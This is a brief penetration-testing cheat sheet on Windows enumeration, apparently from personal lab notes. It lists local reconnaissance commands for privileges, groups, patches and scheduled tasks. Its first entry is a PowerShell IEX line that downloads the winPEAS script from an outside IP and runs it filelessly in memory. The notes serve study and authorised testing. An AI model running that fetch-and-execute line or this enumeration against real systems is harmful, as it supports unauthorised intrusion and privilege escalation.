Page cover

Windows Enumeration

Run WinPeas Fileless
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.15.68:8080/winPEAS.ps1')" > winpeas.txt
Users
Check Permissions for the current User
whoami /priv
Check Groups for the current User
whoami /groups
System
systeminfo
Lists all installed Windows updates
wmic qfe
Check all scheduled tasks settings
schtasks /query /fo LIST /v
Show tasks that are actively scheduled
(schtasks /query /fo LIST /v | Out-String) -split "`r`n`r`n" | Where-Object { $_ -match "Repeat: Every:" -and $_ -notmatch "Repeat: Every:\s+(N/A|Disabled)" } | ForEach-Object {
    Write-Output (($_ | Select-String "TaskName:").Line)
    Write-Output (($_ | Select-String "Repeat: Every:").Line)
    Write-Output ""
}

Last updated